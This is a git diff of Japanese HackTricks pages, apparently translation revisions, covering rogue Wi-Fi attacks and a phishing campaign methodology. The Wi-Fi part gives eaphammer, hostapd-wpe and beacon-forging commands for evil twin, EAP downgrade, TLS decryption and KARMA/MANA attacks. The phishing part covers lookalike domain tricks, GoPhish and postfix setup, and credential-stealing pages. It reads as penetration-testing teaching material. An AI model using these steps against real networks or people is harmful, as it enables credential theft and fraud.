GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 `Airgeddon` は以前に生成された証明書を使用して、WPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、**ユーザーとパスワードのMD5をキャプチャ**できます。後で、攻撃者はパスワードを解読しようと試みることができます。\ `Airggedon` は**連続的なイービルツイン攻撃(ノイジー)**または**誰かが接続するまでイービルアタックを作成するだけ(スムーズ)**の可能性を提供します。 -![](<../../.gitbook/assets/image (129).png>) +![](<../../.gitbook/assets/image (936).png>) ### Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ _この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです_ -_hostapd-wpe_の**構成**内で、`dh_file` を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` に)\ -これにより、`hostapd-wpe` がDHの代わりにRSAを使用して鍵を交換するようになり、後で**サーバーの秘密鍵を知っている**場合にトラフィックを**復号**できるようになります。 +_hostapd-wpe_の**構成**内で、_**dh\_file**_を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` へ)\ +これにより、`hostapd-wpe` はDHの代わりにRSAを使用して鍵を交換するようになり、後で**サーバーの秘密鍵を知っている**ため、トラフィックを後で**復号**できるようになります。 -今、通常どおりに修正された構成を使用して**Evil Twin**を開始する**`hostapd-wpe`**を開始します。また、Evil Twin攻撃を実行している**インターフェース**で**`wireshark`**を開始します。 +今、通常どおり変更された構成を使用して**hostapd-wpe**を起動して**Evil Twin**を開始します。また、Evil Twin攻撃を実行している**インターフェース**で**`wireshark`**を起動します。 -今すぐまたは後で(すでにいくつかの認証意図をキャプチャしている場合)、RSAキーをwiresharkに追加できます: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` +今すぐまたは後で(すでにいくつかの認証意図をキャプチャした場合)、wiresharkにプライベートRSA鍵を追加できます: `編集 --> 設定 --> プロトコル --> TLS --> (RSA鍵リスト) 編集...` -新しいエントリを追加し、次の値でフォームを記入します: **IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キーファイル**(**キーファイルを選択**し、問題を避けるために**パスワード保護されていないキーファイル**を選択します)。 +新しいエントリを追加し、次の値を入力します: **IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キーファイル**(**キーファイルを選択**し、問題を避けるために**パスワード保護されていないキーファイル**を選択します)。 -![](<../../.gitbook/assets/image (151).png>) +![](<../../.gitbook/assets/image (687).png>) -そして新しい**"Decrypted TLS"タブ**を見てください: +そして、新しい**"Decrypted TLS"タブ**を見てください: -![](<../../.gitbook/assets/image (152).png>) +![](<../../.gitbook/assets/image (231).png>) ## KARMA、MANA、Loud MANAおよびKnown beacons攻撃 ### ESSIDおよびMACブラック/ホワイトリスト -異なる種類のMedia Access Control Filter Lists(MFACL)とそれらに対応するローグアクセスポイント(AP)の振る舞いに対するモードと効果: +異なる種類のMedia Access Control Filter Lists(MFACLs)とそれらに対応するローグアクセスポイント(AP)の振る舞いに及ぼす影響のモード: 1. **MACベースのホワイトリスト**: -- ローグAPは、ホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストされていないすべてのデバイスには見えなくなります。 - +* ローグAPは、ホワイトリストに記載されているデバイスからのプローブリクエストにのみ応答し、リストされていないすべてのデバイスには見えなくなります。 2. **MACベースのブラックリスト**: -- ローグAPは、ブラックリスト上のデバイスからのプローブリクエストを無視し、これにより、特定のデバイスにはローグAPが見えなくなります。 - +* ローグAPは、ブラックリスト上のデバイスからのプローブリクエストを無視し、これにより、特定のデバイスにはローグAPが見えなくなります。 3. **SSIDベースのホワイトリスト**: -- ローグAPは、指定されたESSIDのみに対するプローブリクエストにのみ応答し、そのESSIDが含まれていないデバイスには見えなくなります。 - +* ローグAPは、リストされている特定のESSIDのプローブリクエストにのみ応答し、そのESSIDが含まれていないデバイスには見えなくなります。 4. **SSIDベースのブラックリスト**: -- ローグAPは、ブラックリスト上の特定のESSIDに対するプローブリクエストには応答せず、これにより、特定のネットワークを探しているデバイスにはローグAPが見えなくなります。 +* ローグAPは、ブラックリスト上の特定のESSIDのプローブリクエストには応答せず、これにより、特定のネットワークを探しているデバイスには見えなくなります。 ```bash # example EAPHammer MFACL file, wildcards can be used 09:6a:06:c8:36:af @@ -682,13 +668,13 @@ name3 ``` ### KARMA -この方法は、**デバイスがネットワークに接続しようとする際のすべてのプローブリクエストに応答する悪意のあるアクセスポイント(AP)を作成する攻撃者**に可能にします。この技術は、デバイスが検索しているネットワークを模倣することで、**デバイスを攻撃者のAPに接続させる**ことができます。デバイスがこの不正なAPに接続リクエストを送信すると、接続が完了し、デバイスが誤って攻撃者のネットワークに接続するようになります。 +この方法は、**デバイスがネットワークに接続しようとする際に発信されるすべてのプローブリクエストに応答する悪意のあるアクセスポイント(AP)を作成する攻撃者**に可能にします。この技術は、デバイスが検索しているネットワークを模倣することで、**デバイスを攻撃者のAPに接続させる**ことができます。デバイスがこの不正なAPに接続要求を送信すると、接続が完了し、デバイスが誤って攻撃者のネットワークに接続するようになります。 ### MANA -その後、**デバイスは未要求のネットワーク応答を無視し始めました**。これにより、元のkarma攻撃の効果が低下しました。しかし、Ian de VilliersとDominic Whiteによって導入された**MANA攻撃**として知られる新しい方法があります。この方法は、ローグAPが、デバイスのブロードキャストプローブリクエストに応答して、デバイスが以前に要求したネットワーク名(SSID)をキャプチャすることを含みます。この洗練された攻撃は、デバイスが既知のネットワークを記憶し優先順位付けする方法を悪用することで、元のkarma攻撃に対する保護をバイパスします。 +その後、**デバイスは未要求のネットワーク応答を無視し始め**、元のkarma攻撃の効果が低下しました。しかし、Ian de VilliersとDominic Whiteによって導入された**MANA攻撃**として知られる新しい方法があります。この方法では、ローグAPが、デバイスが以前に要求したネットワーク名(SSID)でデバイスのブロードキャストプローブリクエストに応答することで、デバイスからの**優先ネットワークリスト(PNL)をキャプチャ**します。この洗練された攻撃は、デバイスが既知のネットワークを記憶し優先順位付けする方法を悪用することで、元のkarma攻撃に対する保護をバイパスします。 -MANA攻撃は、デバイスからの指示されたプローブリクエストとブロードキャストプローブリクエストの両方を監視して動作します。指示されたリクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークと一致する情報で応答し、デバイスをローグAPに接続させるよう誘導します。 +MANA攻撃は、デバイスからの指示されたおよびブロードキャストプローブリクエストの両方を監視して動作します。指示されたリクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークと一致する情報で応答し、デバイスをローグAPに接続させるよう誘います。 ```bash ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` @@ -700,15 +686,15 @@ MANA攻撃は、デバイスからの指示されたプローブリクエスト ``` ### 既知のビーコン攻撃 -**Loud MANA攻撃**が十分でない場合、**既知のビーコン攻撃**は別のアプローチを提供します。この方法は、**ワードリストから派生した潜在的なESSIDのリストをサイクリングしながら、任意のネットワーク名に応答するAPをシミュレートすることで、接続プロセスをブルートフォースする**ものです。これにより、多数のネットワークの存在がシミュレートされ、被害者のPNL内のESSIDと一致することを期待し、架空のAPへの接続試行が促されます。攻撃は、デバイスを捕捉するためのより積極的な試みとして、`--loud`オプションと組み合わせることで増幅される可能性があります。 +**Loud MANA攻撃**が十分でない場合、**既知のビーコン攻撃**は別のアプローチを提供します。この方法は、ワードリストから派生した潜在的なESSIDのリストをサイクリングしながら、任意のネットワーク名に応答するAPをシミュレートすることで、接続プロセスをブルートフォースします。これにより、多数のネットワークが存在するかのようにシミュレートされ、被害者のPNL内のESSIDと一致することを期待して、架空のAPへの接続試行が促されます。攻撃は、デバイスを捕らえるより積極的な試みのために`--loud`オプションと組み合わせることで増幅される可能性があります。 -Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されます(`--loud`を組み合わせてLoud MANA + Known beacons攻撃を作成することもできます)。 +Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されます(`--loud`を組み合わせてLoud MANA + 既知のビーコン攻撃を作成することもできます)。 ```bash ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ``` **既知のビーコンバースト攻撃** -**既知のビーコンバースト攻撃**には、ファイルにリストされている各ESSIDに対してビーコンフレームを高速でブロードキャストすることが含まれます。これにより、偽のネットワークの密集環境が作成され、特にMANA攻撃と組み合わせると、デバイスがローグAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを活用して、デバイスのネットワーク選択メカニズムを圧倒します。 +**既知のビーコンバースト攻撃**には、**ファイルにリストされた各ESSIDのビーコンフレームを高速でブロードキャストする**という手法が含まれます。これにより、偽のネットワークの密集環境が作成され、特にMANA攻撃と組み合わせると、デバイスがローグAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを活用して、デバイスのネットワーク選択メカニズムを圧倒します。 ```bash # transmit a burst of 5 forged beacon packets for each entry in list ./forge-beacons -i wlan1 \ @@ -719,45 +705,60 @@ Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のす ``` ## Wi-Fi Direct -**Wi-Fi Direct**は、従来の無線アクセスポイントを必要とせずに、Wi-Fiを使用してデバイス同士を直接リンクさせるプロトコルです。この機能は、プリンターやテレビなどのさまざまなインターネット・オブ・シングス(IoT)デバイスに統合されており、デバイス間の直接通信を容易にします。Wi-Fi Directの注目すべき特徴の1つは、1つのデバイスが接続を管理するためのアクセスポイントであるグループオーナーの役割を担うことです。 +**Wi-Fi Direct**は、従来の無線アクセスポイントを必要とせずに、Wi-Fiを使用してデバイス同士が直接リンクするためのプロトコルです。この機能は、プリンターやテレビなどのさまざまなインターネット・オブ・シングス(IoT)デバイスに統合されており、デバイス間の直接通信を容易にします。Wi-Fi Directの注目すべき特徴の1つは、1つのデバイスが接続を管理するためのアクセスポイントであるグループオーナーの役割を担うことです。 + +Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup(WPS)**を介して確立されます。これには、次のような安全なペアリングのためのいくつかの方法がサポートされています。 -Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup(WPS)**を介して確立されます。WPSは、次のような安全なペアリングのためのいくつかの方法をサポートしています: - **Push-Button Configuration(PBC)** - **PIN入力** -- **Near-Field Communication(NFC)** +- **近距離無線通信(NFC)** これらの方法、特にPIN入力は、従来のWi-FiネットワークのWPSと同様の脆弱性に対して脆弱であり、同様の攻撃ベクトルの標的となります。 ### EvilDirect Hijacking -**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映しており、Wi-Fi Direct接続を標的としています。このシナリオでは、攻撃者が正当なグループオーナーをなりすまし、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、`airbase-ng`などのツールを使用して、なりすまされたデバイスのチャンネル、ESSID、およびMACアドレスを指定することで実行できます: +**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映しており、Wi-Fi Direct接続を標的としています。このシナリオでは、攻撃者が正当なグループオーナーをなりすまし、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、`airbase-ng`などのツールを使用して、なりすまされたデバイスのチャンネル、ESSID、およびMACアドレスを指定することで実行できます。 ## 参考文献 -* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) -* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) -* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38) -* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d) -* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf) -* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) -* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) -* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) -* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) -* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) +- [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) +- [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) +- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38) +- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d) +- [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf) +- [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) +- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) +- [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) +- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) +- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)をチェックしてください(FacebookログインとキャプティブポータルでのWPAの模倣) - + [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ -ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう **リアルタイムのハックニュース**\ リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう -**最新の発表事項**\ +**最新のアナウンスメント**\ 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう -**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!** +[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう! + + + +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! + +HackTricksをサポートする他の方法: + +- **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけましょう +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしましょう +- ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください + + diff --git a/generic-methodologies-and-resources/phishing-methodology/README.md b/generic-methodologies-and-resources/phishing-methodology/README.md index 731013524..b5607d16a 100644 --- a/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/generic-methodologies-and-resources/phishing-methodology/README.md @@ -2,48 +2,48 @@ -htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ! HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** -- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- **Discordグループ**に参加する 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) または [**telegram group**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする。 +- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。 ## 手法 1. ターゲットを調査する - 1. **ターゲットドメイン**を選択する。 - 2. ターゲットが使用している**ログインポータルを検索**し、**なりすます**ことに決めるために基本的なWeb列挙を実行する。 - 3. いくつかの**OSINT**を使用して**メールアドレスを見つける**。 -2. 環境を準備する - 1. フィッシングアセスメントに使用するドメインを**購入**する - 2. 関連するレコード(SPF、DMARC、DKIM、rDNS)を**構成するメールサービス**を構成する - 3. **gophish**を使用してVPSを構成する -3. キャンペーンを準備する - 1. **メールテンプレート**を準備する - 2. 資格情報を盗むための**Webページ**を準備する -4. キャンペーンを開始する! +2. **ターゲットドメイン**を選択する。 +3. ターゲットが使用しているログインポータルを検索し、**なりすます** ためにどれを **選択するかを決定**するために基本的なWeb列挙を実行する。 +4. いくつかの **OSINT** を使用して **メールアドレスを見つける**。 +5. 環境を準備する +6. フィッシングアセスメントに使用するドメインを**購入**する +7. 関連するレコード(SPF、DMARC、DKIM、rDNS)を **設定する** +8. **gophish**を使用してVPSを構成する +9. キャンペーンを準備する +10. **メールテンプレート**を準備する +11. 資格情報を盗むための **Webページ**を準備する +12. キャンペーンを開始する! ## 類似のドメイン名を生成するか信頼できるドメインを購入する ### ドメイン名の変更手法 -- **キーワード**: オリジナルドメインの重要な**キーワードを含む**ドメイン名(例:zelster.com-management.com)。 -- **ハイフン付きサブドメイン**: サブドメインの**ドットをハイフンに変更**する(例:www-zelster.com)。 -- **新しいTLD**: 同じドメインを**新しいTLD**を使用して(例:zelster.org)。 -- **ホモグリフ**: ドメイン名の文字を**似ている文字で置き換える**(例:zelfser.com)。 -- **転置**: ドメイン名内の2つの文字を**入れ替える**(例:zelsetr.com)。 +- **キーワード**: オリジナルドメインの重要な **キーワードを含む** ドメイン名(例:zelster.com-management.com)。 +- **ハイフン付きサブドメイン**: サブドメインの **ドットをハイフンに変更** する(例:www-zelster.com)。 +- **新しいTLD**: 同じドメインを **新しいTLD** を使用して(例:zelster.org)。 +- **ホモグリフ**: ドメイン名の文字を **似ている文字で置き換える**(例:zelfser.com)。 +- **転置**: ドメイン名内の2つの文字を **入れ替える**(例:zelsetr.com)。 - **単数形/複数形**: ドメイン名の末尾に「s」を追加または削除する(例:zeltsers.com)。 -- **省略**: ドメイン名から1つの文字を**削除する**(例:zelser.com)。 -- **繰り返し**: ドメイン名内の1つの文字を**繰り返す**(例:zeltsser.com)。 -- **置換**: ホモグリフと似ていますが、より控えめです。ドメイン名の1つの文字を置き換え、おそらくキーボード上の元の文字に近い文字で置き換えます(例:zektser.com)。 -- **サブドメイン**: ドメイン名内に**ドット**を挿入する(例:ze.lster.com)。 -- **挿入**: ドメイン名に**文字を挿入する**(例:zerltser.com)。 +- **省略**: ドメイン名から1つの文字を **削除する**(例:zelser.com)。 +- **繰り返し**: ドメイン名内の1つの文字を **繰り返す**(例:zeltsser.com)。 +- **置換**: ホモグリフと同様ですが、より控えめです。ドメイン名の1つの文字を置き換え、おそらくキーボード上で元の文字に近い位置の文字で置き換えます(例:zektser.com)。 +- **サブドメイン**: ドメイン名内に **ドット** を挿入する(例:ze.lster.com)。 +- **挿入**: ドメイン名に1つの文字を **挿入する**(例:zerltser.com)。 - **ドットの欠落**: ドメイン名にTLDを追加する(例:zelstercom.com) **自動ツール** @@ -59,20 +59,20 @@ HackTricksをサポートする他の方法: ### ビットフリップ -**太陽フレア、宇宙線、ハードウェアエラー**などのさまざまな要因により、**保存されたビットや通信中のビットが自動的に反転**される可能性があります。 +**太陽フレア、宇宙線、ハードウェアエラー**などのさまざまな要因により、 **保存されたビットのいくつかが自動的に反転** される可能性があります。 -この概念を**DNSリクエストに適用**すると、DNSサーバーが受信したドメインが最初にリクエストされたドメインと異なる可能性があります。 +この概念を **DNSリクエストに適用** すると、DNSサーバーが受信したドメインが最初に要求されたドメインと異なる可能性があります。 たとえば、ドメイン「windows.com」の1ビットの変更で「windnws.com」に変更される可能性があります。 -攻撃者は、被害者のドメインに類似した**複数のビットフリップドメインを登録**して、合法的なユーザーを自分のインフラストラクチャにリダイレクトすることを狙っています。 +攻撃者は、被害者のドメインに類似した **複数のビットフリップドメインを登録** し、合法的なユーザーを自分のインフラストラクチャにリダイレクトすることを意図しています。 詳細については、[https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)を参照してください。 ### 信頼できるドメインを購入する -[https://www.expireddomains.net/](https://www.expireddomains.net)で使用できる期限切れのドメインを検索できます。\ -購入する期限切れのドメインが**すでにSEOが良い**かどうかを確認するために、次のカテゴリーにどのように分類されているかを調べることができます: +[https://www.expireddomains.net/](https://www.expireddomains.net) で使用できる期限切れドメインを検索できます。\ +購入する期限切れドメインが **既にSEOが良い** かどうかを確認するには、次のカテゴリーにどのように分類されているかを調べることができます: - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) @@ -85,17 +85,17 @@ HackTricksをサポートする他の方法: - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -より多くの有効なメールアドレスを発見したり、すでに発見したメールアドレスを**検証**するために、被害者のsmtpサーバーをブルートフォースできるかどうかを確認できます。[ここでメールアドレスを検証/発見する方法を学ぶ](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration)。\ -さらに、ユーザーが**メールにアクセスするためにWebポータルを使用**している場合は、そのポータルが**ユーザー名ブルートフォース**に対して脆弱かどうかを確認し、可能であれば脆弱性を悪用できます。 +より多くの有効なメールアドレスを **発見** するか、すでに発見したメールアドレスを **検証** するために、被害者のsmtpサーバーをブルートフォースできるかどうかを確認できます。[ここでメールアドレスを検証/発見する方法を学ぶ](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration)。\ +さらに、ユーザーが **メールにアクセスするためにWebポータルを使用** している場合は、それが **ユーザー名ブルートフォース** に対して脆弱かどうかを確認し、可能であれば脆弱性を悪用できます。 -## GoPhishの構成 +## GoPhishの設定 ### インストール -[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)からダウンロードできます。 +[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) からダウンロードできます。 -ダウンロードして`/opt/gophish`内に解凍し、`/opt/gophish/gophish`を実行します。\ -出力には、管理ユーザーのパスワードが3333ポートで表示されます。したがって、そのポートにアクセスして、これらの資格情報を使用して管理者パスワードを変更します。ローカルにポートをトンネリングする必要がある場合があります。 +ダウンロードして `/opt/gophish` 内に解凍し、 `/opt/gophish/gophish` を実行します。\ +出力には、ポート3333の管理者ユーザーのパスワードが表示されます。したがって、そのポートにアクセスし、その資格情報を使用して管理者パスワードを変更します。そのポートをローカルにトンネリングする必要がある場合があります。 ```bash ssh -L 3333:127.0.0.1:3333 @ ``` @@ -119,22 +119,22 @@ mkdir /opt/gophish/ssl_keys cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt ``` -**メールの設定** +**メール構成** インストールを開始します:`apt-get install postfix` 次に、次のファイルにドメインを追加します: -- **/etc/postfix/virtual\_domains** -- **/etc/postfix/transport** -- **/etc/postfix/virtual\_regexp** +* **/etc/postfix/virtual\_domains** +* **/etc/postfix/transport** +* **/etc/postfix/virtual\_regexp** **また、/etc/postfix/main.cf内の次の変数の値を変更します** `myhostname = `\ `mydestination = $myhostname, , localhost.com, localhost` -最後に、**`/etc/hostname`** と **`/etc/mailname`** ファイルをドメイン名に変更し、**VPSを再起動します。** +最後に、ファイル **`/etc/hostname`** と **`/etc/mailname`** をドメイン名に変更し、**VPSを再起動します。** 次に、`mail.`の**IPアドレス**を指す**DNS Aレコード**と、`mail.`を指す**DNS MX**レコードを作成します。 @@ -145,7 +145,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e ``` **Gophishの設定** -Gophishの実行を停止し、設定を行います。\ +Gophishの実行を停止し、設定を行いましょう。\ `/opt/gophish/config.json`を以下のように変更してください(httpsの使用に注意): ```bash { @@ -173,7 +173,7 @@ Gophishの実行を停止し、設定を行います。\ ``` **gophishサービスの設定** -gophishサービスを作成して自動的に起動および管理できるようにするために、次の内容でファイル`/etc/init.d/gophish`を作成できます。 +gophishサービスを作成して自動的に起動および管理できるようにするために、次の内容でファイル`/etc/init.d/gophish`を作成します: ```bash #!/bin/bash # /etc/init.d/gophish @@ -233,11 +233,11 @@ service gophish stop ``` ## メールサーバーとドメインの設定 -### 待つ & 正当性を保つ +### 待つ & レジットになる -ドメインが古いほど、スパムとして検出される可能性が低くなります。そのため、フィッシングアセスメントを行う前に、できるだけ長い時間(少なくとも1週間)待つべきです。さらに、信頼性の高いセクターに関するページを設置すると、得られる信頼性が向上します。 +ドメインが古いほど、スパムとして検出される可能性が低くなります。そのため、フィッシングアセスメントを行う前にできるだけ長い時間(少なくとも1週間)待つべきです。さらに、信頼性の高いセクターに関するページを設置すれば、得られる評判もより良くなります。 -1週間待たなければならないとしても、今すぐすべてを設定しておくことができます。 +1週間待たなければならないとしても、今すぐすべてを設定することができます。 ### 逆引きDNS(rDNS)レコードの設定 @@ -249,17 +249,17 @@ VPSのIPアドレスをドメイン名に解決するrDNS(PTR)レコード [https://www.spfwizard.net/](https://www.spfwizard.net)を使用して、SPFポリシーを生成できます(VPSマシンのIPを使用してください) -![](<../../.gitbook/assets/image (388).png>) +![](<../../.gitbook/assets/image 